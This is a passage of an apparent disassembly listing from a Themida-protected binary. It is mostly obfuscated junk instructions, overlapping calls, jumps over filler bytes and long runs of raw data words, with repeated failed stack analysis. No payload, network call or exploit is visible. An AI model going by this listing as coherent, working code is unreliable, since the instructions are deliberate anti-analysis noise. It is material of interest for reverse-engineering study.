0B30Dh adc dh, 0F8h call loc_603FDC db 65h dec ecx cdq aam 1Fh sub_603F17 endp ; sp-analysis failed loc_603FDC: ; CODE XREF: sub_603F17+BBp movzx edx, di pop edi mov cl, 0B6h mov dx, 0CF41h mov ecx, 707D700Bh sbb al, 35h mov edi, 5070AE6Ah jg $+6 add edi, 10742CCBh and bx, 80ECh xor bx, 0E24Bh call sub_604016 pop ebp idiv dword ptr [eax+21h] ; --------------------------------------------------------------------------- dw 0CC36h ; --------------------------------------------------------------------------- rcr dword ptr [edi], 1 ; =============== S U B R O U T I N E ======================================= sub_604016 proc near ; CODE XREF: Themida_:00604009p cld pop eax jz loc_604023 sbb dx, 75DCh loc_604023: ; CODE XREF: sub_604016+2j mov ecx, 113AFF18h mov dx, 69C7h mov esi, eax jmp loc_604043 ; --------------------------------------------------------------------------- db 0F5h dd 6CACE899h, 0E0B10E9h, 42CE39F6h db 17h, 2Dh, 10h ; --------------------------------------------------------------------------- loc_604043: ; CODE XREF: sub_604016+18j ; sub_604016+45j mov edx, 538153Fh mov edi, ecx jbe loc_604051 cld loc_604051: ; CODE XREF: sub_604016+34j call near ptr loc_60405D+1 cmp ch, [ebp-32h] outsb cmpsb js short loc_604043 loc_60405D: ; CODE XREF: sub_604016:loc_604051p cmp [esi-41h], esp sub_604016 endp ; sp-analysis failed fldenv byte ptr [edi] pop eax push esi pop edi clc adc edx, 4DE79361h pusha call near ptr loc_604078+3 mov ebx, 724BED4Eh loc_604078: ; CODE XREF: Themida_:0060406Dp mov edi, 0F5EAE6Ah xchg eax, [edx] ; --------------------------------------------------------------------------- db 0 dd 61600000h, 0E8F48A61h, 0Bh, 990151B8h, 259D519Ch, 8B6D266Bh dd 0BE665ADFh, 13E97427h, 0F6000000h, 711F11A9h, 0B40F18D2h dd 60A957F6h, 0E382E5A8h, 0E2817E04h, 4F68D058h, 0CE9FCh dd 5C890000h, 4087425Eh, 0AB01F36Bh, 8B66688Bh, 0C830FFEh dd 0F000000h, 68Eh, 880F00h, 0F8000000h, 0EEE80FCh, 0ABF08166h dd 6840FFFh, 0F000000h, 81h, 6E900h, 0DD5E0000h, 0FEB2B3B5h dd 860Fh, 0CE80000h, 81000000h, 0E84A7AD1h, 836AB267h dd 0FE0EF0Ah, 584h, 0C7816600h, 60598D21h, 58B0Fh, 81660000h dd 8B6841E1h, 8B6661F3h, 0D3B70FF1h, 80F98B66h, 0B70F4FC7h dd 2880FFAh, 8B000000h, 28D0FD6h, 0B6000000h, 0EDE181B0h dd 0F6D6F4Dh, 187h, 65BEF900h, 811CFE4Ch, 2FC647C0h, 0E9CE8B64h dd 14h, 702072B2h, 0AE43861Fh, 0C373FB18h, 108F1D3Ah, 0F12BFD71h dd 0A3FA76BFh, 5E85Fh, 0C4300000h, 58F9CE3Eh, 12E981B7h dd 36000000h, 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh dd 0F78160A9h, 329A7F33h, 0D1DF8161h, 0F3CC068h, 68Eh dd 29D68100h, 0E96AA2C6h, 7, 0B6A3BB6Fh, 60615DDDh, 11E9h dd 0A7CC8C00h, 988C488Eh, 471AB9EBh, 186A7943h, 0B70F1737h dd 8B6661F2h, 6E8F3h, 0F76E0000h, 4DB61353h, 0CDE68166h dd 0DE959F9h, 0AD000000h, 0E58AD81Dh, 0D4193BACh, 51CB2B9Fh dd 2DD98166h, 816650A6h, 5F234AEAh, 66C28B66h, 7783E781h dd 830Fh, 0B7FC0000h, 0EE81667Ch, 0E9509AE9h, 12h, 0B5C5F186h dd 305B692Bh, 5F254979h, 68F1539Dh, 535A42E5h, 7802BB66h dd 3890F5Bh, 0F000000h, 0C6B8CBBFh, 0E94B92EBh, 0Ah, 63175899h dd 91134455h, 6E947F3h, 0A4000000h, 0FBBF098Ah, 0E960FCF8h dd 6, 0BA8B0DBCh, 6660B3C3h, 0D78BCE8Bh, 81666161h, 8B9D6EC7h dd 60E38AD6h, 8BF28B66h, 0B70F61F3h, 13E9D9h, 31140000h dd 0F7850AD1h, 74B40530h, 699149EDh, 2E687471h, 0BBE5B600h dd 262D1E46h, 8BDBB70Fh, 0AE9FBh, 6B8D0000h, 9F52448Eh dd 0C1C25299h, 5A5B5351h, 0FCFCCB8Bh, 0C294EF81h, 0F607B03h dd 580h, 8D26B800h, 0F6157F5h, 78Eh, 5AB85200h, 5A4C1BDDh dd 0E3816660h, 98BE7FD1h, 611538DBh, 0BFC78166h, 8B62B50Bh dd 0ECB9FCFBh, 0E92383E9h, 14h, 0B9FA5143h, 4AE348EBh dd 5757C467h, 15BBA910h, 0CD4D0743h, 0AE9h, 0F2B1E400h dd 8028B76Ch, 52C2DDEDh, 5AE78A56h, 7279B85Ah, 66571B1Ch dd 5B7B48B8h, 0F7D08166h, 0B72FB55Dh, 0F830F3Ah, 0E9000000h dd 0Ah, 0FE51BFFFh, 0C0E6E17Fh, 0F60A4A2h, 483h, 79BB6600h dd 0D780538Bh, 66615859h, 0FD4D9BEh, 82h, 0AE900h, 0E8220000h dd 0B4EA040Fh, 143BF9A3h, 0FC78B66h, 384h, 0F0BF0F00h dd 0BE6BC881h, 51FC3387h, 7D2E3DBEh, 80605B22h, 10E9E1D3h dd 0C2000000h, 0E601B400h, 91559EE0h, 10915EDDh, 611B01C3h dd 0E9F9E4B0h, 9, 11166131h, 219D75EEh, 85E081E1h, 0F646251h dd 288h, 60D68B00h, 13E961h, 0F9950000h, 827BB7B5h, 0CE7F25A9h dd 0FC178BE8h, 0BB4ABF12h, 0B1D98BBCh, 0DE8B6664h, 3800Fh dd 0BF0F0000h, 79E281F8h, 66066EB1h, 4938C281h, 6850Fh dd 0DF810000h, 242205BAh, 9E8h, 0C846BB00h, 0A9286687h dd 81661CA3h, 5FC675C7h, 58EAF381h, 840F5676h, 2, 0E28141B0h dd 5F00AA9Eh, 66F0BF0Fh, 1BC7E781h, 0BBF5C18Bh, 47A02713h dd 0BE824B4h, 0FC000000h, 512DDEE3h, 84AFBDBCh, 0F58A12C4h dd 0DF8BF85Eh, 208F61BFh, 0AE910h, 86D10000h, 3D4CB49Dh dd 349AC76Dh, 7E96060h, 0D7000000h, 0DFAE80D3h, 800F487Ah dd 0 ; --------------------------------------------------------------------------- popa mov dx, 3D11h popa mov cx, 45ACh mov ax, di mov ah, 41h mov si, cx ja $+6 mov eax, edi jmp loc_6044DF ; --------------------------------------------------------------------------- db 92h dd 5049CABFh, 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h db 9Ch, 0A1h, 0FCh ; --------------------------------------------------------------------------- loc_6044DF: ; CODE XREF: Themida_:006044C6j jmp loc_6044EC ; --------------------------------------------------------------------------- dd 0E1D15618h, 0C844AC80h ; --------------------------------------------------------------------------- loc_6044EC: ; CODE XREF: Themida_:loc_6044DFj jmp loc_604500 ; --------------------------------------------------------------------------- db 77h, 9Eh, 22h dd 0B5EF713h, 5B6CD62Ch, 0C7178C55h ; --------------------------------------------------------------------------- loc_604500: ; CODE XREF: Themida_:loc_6044ECj movsx esi, cx call near ptr loc_60450C+2 cmp al, 52h inc edi dec ebx loc_60450C: ; CODE XREF: Themida_:00604503p mov ds:5FDC8A56h, gs pop eax sub edi, 1F8C14CFh jnb loc_604524 mov ebx, 41FF90EAh loc_604524: ; CODE XREF: Themida_:00604519j mov ecx, eax adc edx, 1DAF95DBh ; CODE XREF: Themida_:loc_604548j jmp loc_604537 ; --------------------------------------------------------------------------- db 1, 39h, 37h db 0FEh, 5, 72h ; --------------------------------------------------------------------------- loc_604537: ; CODE XREF: Themida_:0060452Cj push edx call sub_60454F fcmovu st, st(1) fadd dword ptr [esi] jo short loc_604548 hlt ; --------------------------------------------------------------------------- dd 8149FD6Fh ; --------------------------------------------------------------------------- loc_604548: ; CODE XREF: Themida_:00604541j jnb short near ptr loc_604526+5 adc dl, [edx+4Dh] push 0FFFFFF94h ; =============== S U B R O U T I N E ======================================= sub_60454F proc near ; CODE XREF: Themida_:00604538p pop ebx pop ecx movsx ebx, dx adc edx, 35554B0Ah mov ecx, 76FF2041h jmp loc_604574 ; --------------------------------------------------------------------------- db 0CCh db 0A4h, 57h, 0B7h dd 0E95B302Dh, 25135865h, 0A0195FC1h ; --------------------------------------------------------------------------- loc_604574: ; CODE XREF: sub_60454F+10j sub bx, 6376h pusha pusha jg $+6 jmp loc_60458F ; --------------------------------------------------------------------------- dw 153Dh dd 0EA26CE95h db 8Eh, 95h, 0E9h ; --------------------------------------------------------------------------- loc_60458F: ; CODE XREF: sub_60454F+32j popa movzx ebx, di popa jo loc_6045AD jmp loc_6045AD ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- retn 4659h ; --------------------------------------------------------------------------- db 4Eh dd 0D8878A62h, 0F364A174h db 28h ; --------------------------------------------------------------------------- loc_6045AD: ; CODE XREF: sub_60454F+45j ; sub_60454F+4Bj call sub_6045B7 xchg eax, ecx retn 0F3BEh sub_60454F endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6Ah ; =============== S U B R O U T I N E ======================================= sub_6045B7 proc near ; CODE XREF: sub_60454F:loc_6045ADp or esi, 6781B528h pop eax jnb loc_6045CB pusha push ecx pop esi movsx edi, dx popa loc_6045CB: ; CODE XREF: sub_6045B7+7j mov edi, 4D6F3266h call near ptr loc_6045DD+4 push edi mov al, ds:0BCC7DFF1h fcmovne st, st(2) loc_6045DD: ; CODE XREF: sub_6045B7+19p cmp eax, 0B745450Bh sub_6045B7 endp ; sp-analysis failed mov ds:0F28B5359h, eax pop edi jmp loc_6045F9 ; --------------------------------------------------------------------------- db 0D7h, 0CEh, 10h dd 98C99366h, 0F99127Eh ; --------------------------------------------------------------------------- das loc_6045F9: ; CODE XREF: Themida_:006045E8j jmp loc_604603 ; --------------------------------------------------------------------------- dw 8D0Eh db 0E6h, 64h, 0BEh ; --------------------------------------------------------------------------- loc_604603: ; CODE XREF: Themida_:loc_6045F9j mov esi, 1FF36FD2h jmp loc_604620 ; --------------------------------------------------------------------------- db 2 dup(0), 2 dd 0F4C5F662h, 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h ; --------------------------------------------------------------------------- loc_604620: ; CODE XREF: Themida_:00604608j mov dx, di mov ebx, ecx mov di, 4F53h jmp loc_604636 ; --------------------------------------------------------------------------- dw 2DC1h dd 7AE3388Ah db 94h, 0Fh ; --------------------------------------------------------------------------- loc_604636: ; CODE XREF: Themida_:00604629j jmp loc_60464E ; --------------------------------------------------------------------------- db 93h dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h ; --------------------------------------------------------------------------- push 0FFFFFFBEh loc_60464E: ; CODE XREF: Themida_:loc_604636j jmp loc_604666 ; --------------------------------------------------------------------------- db 4Bh dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 0D9E49D36h db 72h, 15h ; --------------------------------------------------------------------------- loc_604666: ; CODE XREF: Themida_:loc_60464Ej sbb ax, 403h mov dx, 3151h cld cmc pusha call near ptr loc_604680+4 push cs add eax, 315C2AC2h mov esi, eax lodsd loc_604680: ; CODE XREF: Themida_:00604672p mov ebx, 521485E9h pop edx pop edi push esi jmp loc_604694 ; --------------------------------------------------------------------------- db 0C6h, 0, 88h dd 6F4BA896h ; --------------------------------------------------------------------------- loc_604694: ; CODE XREF: Themida_:00604688j pop edx popa add esi, 314A6CEEh mov si, 2657h pusha jz loc_6046AC xor dx, 5169h loc_6046AC: ; CODE XREF: Themida_:006046A1j sub cl, 10h popa jmp loc_6046C6 ; --------------------------------------------------------------------------- db 51h, 4Dh, 67h dd 8DD0E181h, 646A7D88h, 0EEFEDE02h ; --------------------------------------------------------------------------- test dl, ch loc_6046C6: ; CODE XREF: Themida_:006046B0j mov dl, 0C2h ; START OF FUNCTION CHUNK FOR sub_60470D loc_6046C8: ; CODE XREF: sub_60470D+18j call loc_6046DB xchg eax, ebx retf 90C5h ; END OF FUNCTION CHUNK FOR sub_60470D ; --------------------------------------------------------------------------- db 0C6h, 36h, 8Bh dd 0E676495h db 0DAh, 3Ch, 8Dh ; --------------------------------------------------------------------------- loc_6046DB: ; CODE XREF: sub_60470D:loc_6046C8p mov esi, 378D5697h pop edx mov al, 27h mov eax, 6D7BCF14h movsx edx, di mov ax, bx mov edi, 72A4E363h mov edx, eax mov bx, di mov ecx, edi call near ptr sub_60470D pop eax xlat pop ecx and ebx, 30DC514Dh lock mov cl, 26h ; --------------------------------------------------------------------------- db 0DBh db 24h ; =============== S U B R O U T I N E ======================================= sub_60470D proc far ; CODE XREF: Themida_:006046FAp ; FUNCTION CHUNK AT 006046C8 SIZE 00000009 BYTES mov edi, 6F4FD18Dh pop esi mov esi, eax call sub_60472B call near ptr 0EC231378h cmp ecx, [esi] cmpsb cwde mov ch, 0 loope loc_6046C8 dec edi fist word ptr [ebp-28h] sub_60470D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60472B proc near ; CODE XREF: sub_60470D+8p call sub_60473C or [edx-13197A6Dh], esp adc eax, 0CD5A4E8Eh xchg eax, ebx sub_60472B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60473C proc near ; CODE XREF: sub_60472Bp jmp near ptr sub_60474D sub_60473C endp ; --------------------------------------------------------------------------- db 0D5h, 81h, 47h dd 7BBBE7B0h, 7A9EBFC6h db 1 ; =============== S U B R O U T I N E ======================================= sub_60474D proc far ; CODE XREF: sub_60473Cj pop edi pop edx mov edx, ebx stc mov edx, ecx jmp loc_604762 ; --------------------------------------------------------------------------- db 3Bh, 51h, 0A2h dd 0EC1D594Bh db 0BAh, 3Eh ; --------------------------------------------------------------------------- loc_604762: ; CODE XREF: sub_60474D+7j push edi and edi, 4D7E45B8h pop ebx mov si, bx jmp loc_604777 ; --------------------------------------------------------------------------- dw 7F5Ah db 2Dh, 28h, 0B6h ; --------------------------------------------------------------------------- loc_604777: ; CODE XREF: sub_60474D+20j and esi, 2AD57052h jmp loc_604790 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- adc al, 20h retn 97F7h ; --------------------------------------------------------------------------- fnstenv byte ptr [ebx] inc eax fisubr dword ptr [bp+di-53h] loc_604790: ; CODE XREF: sub_60474D+30j call near ptr loc_604796+5 insb loc_604796: ; CODE XREF: sub_60474D:loc_604790p mov word ptr [edx+ebx-8748A34h], ds sub_60474D endp ; sp-analysis failed pop edx call sub_6047AE xor eax, 30D574DCh adc ebx, ebp fmul dword ptr [edx+4Eh] pop esi ; =============== S U B R O U T I N E ======================================= sub_6047AE proc near ; CODE XREF: Themida_:0060479Ep push ebx mov edx, 1F2D4F39h pop esi pop ebx pusha sbb ebx, 3D3217AAh cld popa mov bl, dh and dx, 0C02Bh movsx ebx, bx cld jge loc_6047D3 movsx edi, bx loc_6047D3: ; CODE XREF: sub_6047AE+1Cj mov edi, esi pusha jmp loc_6047EF ; --------------------------------------------------------------------------- db 21h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0E0h, 95h, 0EBh dd 99820BC4h, 624469Fh, 847A7304h db 21h, 0Ah, 75h ; --------------------------------------------------------------------------- loc_6047EF: ; CODE XREF: sub_6047AE+28j ja loc_6047FA sub bx, 70AFh loc_6047FA: ; CODE XREF: sub_6047AE:loc_6047EFj popa call near ptr loc_604810+1 inc ebp xor [ebx-6907FBABh], ah fcomp st(5) pop ds insd mov eax, ds:0B54DFF63h loc_604810: ; CODE XREF: sub_6047AE+4Dp mov ds:2860Fh, eax sub_6047AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 51h ; --------------------------------------------------------------------------- pop edi pop edi mov cx, 6D7Eh mov cx, 15F0h jmp loc_60482E ; --------------------------------------------------------------------------- and al, 62h mov eax, 6F09DA7Dh loc_60482E: ; CODE XREF: Themida_:00604822j mov edx, 1C9C60FEh mov cx, di jmp loc_604845 ; --------------------------------------------------------------------------- db 7Ah dd 0AB380206h, 2BA43070h ; --------------------------------------------------------------------------- sahf loc_604845: ; CODE XREF: Themida_:00604836j jb loc_60484D mov bl, 59h loc_60484D: ; CODE XREF: Themida_:loc_604845j mov dl, ah jmp loc_60485D ; --------------------------------------------------------------------------- dd 0A2B65E68h, 0D80880Ah db 87h ; --------------------------------------------------------------------------- loc_60485D: ; CODE XREF: Themida_:0060484Fj or dh, 0D5h mov dh, 89h mov ah, 56h call near ptr loc_604874+3 xchg eax, ebp cli add eax, 64444836h xor al, 0BAh mov dh, 66h loc_604874: ; CODE XREF: Themida_:00604864p jmp near ptr 8BC676D3h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- pop eax or bl, 0F0h mov dx, si xor di, 2F2Fh mov dx, 93E3h push eax adc dx, 0F3B5h pop edi jnz loc_6048A6 jmp loc_6048A6 ; --------------------------------------------------------------------------- dd 0D4622899h, 4A47EBAEh db 0D3h, 85h ; --------------------------------------------------------------------------- loc_6048A6: ; CODE XREF: Themida_:00604891j ; Themida_:00604897j push ecx add dx, 3CE6h pop esi mov ecx, 75212287h mov bx, si add bx, 0FF5Eh sub si, 0D8E0h mov eax, 77B63227h clc jnb loc_6048D5 jo loc_6048D5 mov ax, 5419h loc_6048D5: ; CODE XREF: Themida_:006048C5j ; Themida_:006048CBj js loc_6048E0 push esi movzx edx, di pop edx loc_6048E0: ; CODE XREF: Themida_:loc_6048D5j or cx, 5E84h sub ecx, 1E96A8E6h cmc push ecx push edi pusha popa pop esi pop edi stc jmp loc_60490C ; --------------------------------------------------------------------------- dd 91520E6Fh, 0E25BE1Ch, 977CCBE8h, 61F407C4h, 0ACB84B83h ; --------------------------------------------------------------------------- loc_60490C: ; CODE XREF: Themida_:006048F3j pusha jmp loc_604923 ; --------------------------------------------------------------------------- dw 85CDh dd 0F90D8A70h, 0B42C517Dh, 9453EA9Dh db 66h, 6Fh, 0DFh ; --------------------------------------------------------------------------- loc_604923: ; CODE XREF: Themida_:0060490Dj cmc popa call sub_604930 or [esi-2F064969h], ch ; =============== S U B R O U T I N E ======================================= sub_604930 proc near ; CODE XREF: Themida_:00604925p pop edx stc jbe loc_604942 pusha push ebx pop edi sub edi, 95A3A26h popa loc_604942: ; CODE XREF: sub_604930+2j cmc jmp loc_60495C ; --------------------------------------------------------------------------- dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h, 0ABE989AAh ; --------------------------------------------------------------------------- loc_60495C: ; CODE XREF: sub_604930+13j jmp loc_604974 ; --------------------------------------------------------------------------- db 9Ch, 0FCh, 0A1h dd 0E779765Ch, 55BC293Ah, 0E7E20447h, 72DB44DDh ; --------------------------------------------------------------------------- loc_604974: ; CODE XREF: sub_604930:loc_60495Cj add dh, 5Fh call sub_604981 mov esp, 0FEB9C752h sub_604930 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_604981 proc near ; CODE XREF: sub_604930+47p jz $+6 pop ebx adc ebx, 22C18FFh jb $+6 mov esi, eax mov di, bx or edi, 15E30805h sub al, 49h sub esi, 6FFD7C0Dh jg loc_6049B0 mov dl, 49h loc_6049B0: ; CODE XREF: sub_604981+27j ; sub_604981+3Bj mov edi, ebx movsx edi, ax pusha call near ptr loc_6049C0+2 pop edx jns short near ptr loc_6049B0+1 das lodsd loc_6049C0: ; CODE XREF: sub_604981+35p mov bh, [eax+5FD08B66h] sub_604981 endp ; sp-analysis failed pusha push ebx pop ebx popa popa add ebx, 79A550C8h push eax xor bl, 20h pop ecx xor edx, 4690E2B1h jmp loc_6049F2 ; --------------------------------------------------------------------------- add eax, 22679818h retn 1F71h ; --------------------------------------------------------------------------- db 91h, 67h, 55h dd 0F28C3A70h db 39h, 82h ; --------------------------------------------------------------------------- loc_6049F2: ; CODE XREF: Themida_:006049DCj movsx edi, di pusha jmp loc_604A05 ; --------------------------------------------------------------------------- db 8Bh dd 44AD1982h, 0D7C37E2Bh db 1Ah ; --------------------------------------------------------------------------- loc_604A05: ; CODE XREF: Themida_:006049F6j push ebx mov al, 5 pop edx popa mov edx, ecx push ebx mov edi, 9FD97DFh pop eax mov dx, di jp loc_604A20 mov si, 0F9F6h loc_604A20: ; CODE XREF: Themida_:00604A16j mov dx, cx clc jmp loc_604A36 ; --------------------------------------------------------------------------- db 0E2h, 53h, 2Ch dd 34CFD25Eh, 655C1E67h ; --------------------------------------------------------------------------- pop ebp stc loc_604A36: ; CODE XREF: Themida_:00604A24j mov bx, si push edx pop eax mov ecx, ebx mov esi, 367F1DC2h jo loc_604A4B movsx edi, si loc_604A4B: ; CODE XREF: Themida_:00604A42j call near ptr loc_604A5A+1 push ebx sub byte ptr [esi], 0A8h rep lodsb ; CODE XREF: Themida_:00604A58j dec ecx xchg eax, edx jns short near ptr loc_604A54+1 loc_604A5A: ; CODE XREF: Themida_:loc_604A4Bp loop loc_604A6B mov eax, [ebx] ; --------------------------------------------------------------------------- dw 0 dd 0FFB70F00h, 80EF805Ah db 8Bh, 0DEh, 0E8h ; --------------------------------------------------------------------------- loc_604A6B: ; CODE XREF: Themida_:loc_604A5Aj adc al, 0 ; --------------------------------------------------------------------------- db 2 dup(0), 0EFh dd 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h, 66E0F27Dh dd 33B6CB81h, 0E8D78A5Eh, 0Ch, 5F424665h, 50476110h, 929D6CC0h dd 11E960h, 0DB370000h, 0BF937CE7h, 989C6A85h, 0A62466DBh dd 0E9C07CC6h, 0Ch, 5A636660h, 27CEC440h, 4D4182A3h, 0B70F5A61h dd 0BE8C8h, 8F420000h, 0CF83C50Fh, 0F9A6E1BFh, 38F0F60h dd 0F000000h, 665BF6B7h, 0D7ECE281h, 0FCFA88BBh, 0F480513Fh dd 0E850593Dh, 0Ah, 7111E325h, 0F10CA10Ch, 0B70FC293h dd 8B595EC2h, 1850FD7h, 0F5000000h, 28A0Fh, 0C88A0000h dd 5E9h, 9D22F800h, 81FC3EB8h, 0A4225FE1h, 66C0B743h, 0BA66F98Bh dd 8B661C6Eh, 0CB8AF9DFh, 8A53ED80h, 0ECB966F5h, 6800F63h dd 81000000h, 5091E9D2h, 0EB81667Fh, 0C9815CAAh, 4A1F7748h dd 16800F56h, 0E9000000h, 11h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh dd 0B7257168h, 0C2805B6Bh, 0C98160B5h, 4AE61BF3h, 0F61F0B2h dd 8Bh, 12E8F900h, 74000000h, 0AA398A34h, 908CC0B0h, 0C05EAA67h dd 0A101C96Ah, 0BF0F606Fh, 615857FAh, 81666059h, 0F16D9C3h dd 1785h, 12E900h, 0CE3C0000h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah dd 72797BA4h, 14E961h, 0ED440000h, 2F3DC619h, 0F9A1857h dd 38DCD926h, 0FBE44775h, 81665A6Fh, 0E9EC8FE3h, 5, 0C306BD1Dh dd 0E281661Fh, 0AE98AC2h, 0E000000h, 0A7E3D3A8h, 122787EFh dd 0D8B70F68h, 8166C8B3h, 0F9E42CFh, 58Eh, 0E1816600h dd 0DD8A580Fh, 0DB8166FCh, 0D18B68B3h, 2860Fh, 0FD8A0000h dd 5CEED281h, 8B660788h, 0F5350CFh, 89h, 0E9585E00h, 7 dd 0BC2AA296h, 0E96640ACh, 5, 453C52BBh, 890F20h, 57000000h dd 0DE9h, 374F8900h, 197CF544h, 485F2A17h, 805A7AA7h, 0E86077CFh dd 7, 7D6B0A97h, 0BB8FE45Bh, 26367D71h, 6800F59h, 81000000h dd 0B6BB05DFh, 80F86151h, 8A0F75C4h, 4, 5EA5B752h, 0AE8h dd 43376400h, 0A6138369h, 0E914BD4Bh, 12h, 625408F7h, 21B9F048h dd 7656E725h, 0AFDB683h, 0F583E59h, 0A80h, 4860F00h, 66000000h dd 664F34BEh, 50AFC881h, 810F1CB3h, 12h, 0DE9h, 0E6B22B00h dd 0A5CF4993h, 0E5818377h, 830FA451h, 0 ; --------------------------------------------------------------------------- mov ah, bl jmp loc_604D14 ; --------------------------------------------------------------------------- db 3Eh dd 0C7B338BAh, 60A8B530h, 0EA63B6B1h ; --------------------------------------------------------------------------- loc_604D14: ; CODE XREF: Themida_:00604D02j and ah, 9Dh sbb esi, 769E322h mov edx, eax mov cx, 0F295h jo loc_604D2C or bh, 0EFh loc_604D2C: ; CODE XREF: Themida_:00604D23j sub di, 0F10Bh jnp $+6 push esi clc pop edi jmp loc_604D4C ; --------------------------------------------------------------------------- db 3Dh dd 0EBAFEA61h, 6570A636h, 8C425529h ; --------------------------------------------------------------------------- loc_604D4C: ; CODE XREF: Themida_:00604D3Aj jmp loc_604D57 ; --------------------------------------------------------------------------- db 0AFh, 38h, 0CEh db 93h, 91h, 73h ; --------------------------------------------------------------------------- loc_604D57: ; CODE XREF: Themida_:loc_604D4Cj stc jmp loc_604D6C ; --------------------------------------------------------------------------- db 3Fh, 54h, 5Bh dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh ; --------------------------------------------------------------------------- loc_604D6C: ; CODE XREF: Themida_:00604D58j or dx, 0C9ADh mov eax, 34FFD8A3h mov ebx, 63CED327h mov edi, 429A20E8h call near ptr loc_604D89+2 xchg eax, ebp xor dh, [edx-60h] loc_604D89: ; CODE XREF: Themida_:00604D80p adc byte ptr [eax-761C7E9Ah], 4 pop ebx mov ebx, 75C0DF41h push esi call sub_604DAF iret ; --------------------------------------------------------------------------- sal byte ptr [ebp-1A749948h], 83h scasd push 0FFFFFFFEh retn 0F035h ; --------------------------------------------------------------------------- mov word ptr [eax], fs retf 2B74h ; =============== S U B R O U T I N E ======================================= sub_604DAF proc near ; CODE XREF: Themida_:00604D97p var_2584D030 = byte ptr -2584D030h call loc_604DC4 mov ds:1D7CD906h, eax sar dword ptr [esi+29h], 1 sbb [esp+edi*8-2584D02Fh], ch cmpsd sub_604DAF endp ; sp-analysis failed loc_604DC4: ; CODE XREF: sub_604DAFp pop edi pop ebx pop ecx movzx ebx, si jnp loc_604DD3 mov ax, cx loc_604DD3: ; CODE XREF: Themida_:00604DCAj mov eax, 328352EDh pusha jb loc_604DE5 jz $+6 loc_604DE5: ; CODE XREF: Themida_:00604DD9j pusha jmp loc_604DFD ; --------------------------------------------------------------------------- db 97h dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh db 0D4h ; --------------------------------------------------------------------------- loc_604DFD: ; CODE XREF: Themida_:00604DE6j mov di, 0DD27h popa popa pusha mov dx, si mov esi, edx popa mov edi, 7FE46A54h jmp loc_604E1A ; --------------------------------------------------------------------------- fist word ptr [edi-41E97B0Fh] loc_604E1A: ; CODE XREF: Themida_:00604E0Fj mov bx, 1FE9h pusha mov di, 0BE58h popa xor si, 4455h mov ch, 7Dh mov ecx, 2103F70Eh jo loc_604E37 clc loc_604E37: ; CODE XREF: Themida_:00604E30j movsx edx, ax push ecx push ebx pop ebx pop esi jmp loc_604E48 ; --------------------------------------------------------------------------- jmp short loc_604E46 ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- loc_604E46: ; CODE XREF: Themida_:00604E43j popa ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- loc_604E48: ; CODE XREF: Themida_:00604E3Ej clc mov cx, si xor cx, 2358h jz loc_604E5A movsx esi, si loc_604E5A: ; CODE XREF: Themida_:00604E51j cld push ecx add ecx, 650E2735h pop eax mov di, 9250h jmp loc_604E77 ; --------------------------------------------------------------------------- dd 0F5AE3683h, 0F2DC0B2Eh db 0E9h, 6Eh, 8Fh ; --------------------------------------------------------------------------- loc_604E77: ; CODE XREF: Themida_:00604E67j jge loc_604E90 jmp loc_604E90 ; --------------------------------------------------------------------------- dw 0B9BAh dd 78761D2Bh, 864B7156h, 5BD5A1E7h ; --------------------------------------------------------------------------- loc_604E90: ; CODE XREF: Themida_:loc_604E77j ; Themida_:00604E7Dj jmp loc_604EA5 ; --------------------------------------------------------------------------- db 20h, 0F3h, 0A4h db 0CCh db 5Fh, 3Ah, 71h dd 0D2EC7567h, 0A6FE6645h db 8 ; --------------------------------------------------------------------------- loc_604EA5: ; CODE XREF: Themida_:loc_604E90j stc jmp loc_604EB6 ; --------------------------------------------------------------------------- db 0DBh dd 6BBD6084h, 0C841575Eh db 38h, 51h ; --------------------------------------------------------------------------- loc_604EB6: ; CODE XREF: Themida_:00604EA6j js loc_604EC7 jmp loc_604EC7 ; --------------------------------------------------------------------------- db 78h, 0Bh, 36h ; --------------------------------------------------------------------------- push es mov dh, 1Ah loc_604EC7: ; CODE XREF: Themida_:loc_604EB6j ; Themida_:00604EBCj push eax mov di, ax pop eax or di, 201h ; CODE XREF: Themida_:00604EEAj mov cx, dx mov edx, 66B54C52h mov ah, 53h mov eax, 4550C84Fh call sub_604EF5 pop ebx cmp al, [ebp+5Eh] leave jge short near ptr loc_604ECC+1 hlt ; --------------------------------------------------------------------------- db 0ABh, 0DCh, 12h dd 4BCE605Fh db 25h ; =============== S U B R O U T I N E ======================================= sub_604EF5 proc near ; CODE XREF: Themida_:00604EE0p pop edi or dx, 7C9Ch mov dx, 0C0Ah mov edx, ecx jg loc_604F0C mov edi, 0FFA8266h loc_604F0C: ; CODE XREF: sub_604EF5+Cj movzx edx, ax movsx ecx, cx jmp loc_604F28 ; --------------------------------------------------------------------------- db 0E6h dd 0BEB0A8A5h, 8F01EF51h, 1076E5D4h, 881128FEh ; --------------------------------------------------------------------------- loc_604F28: ; CODE XREF: sub_604EF5+1Dj add edx, 7B9B7838h call near ptr loc_604F36+2 repne inc ebp inc esi loc_604F36: ; CODE XREF: sub_604EF5+39p mov ds:28F0F3Ah, al sub_604EF5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 59520000h, 810F605Eh, 4, 2BDEBE66h, 7E9h, 577F0400h dd 2BF0EAE8h, 99F68161h, 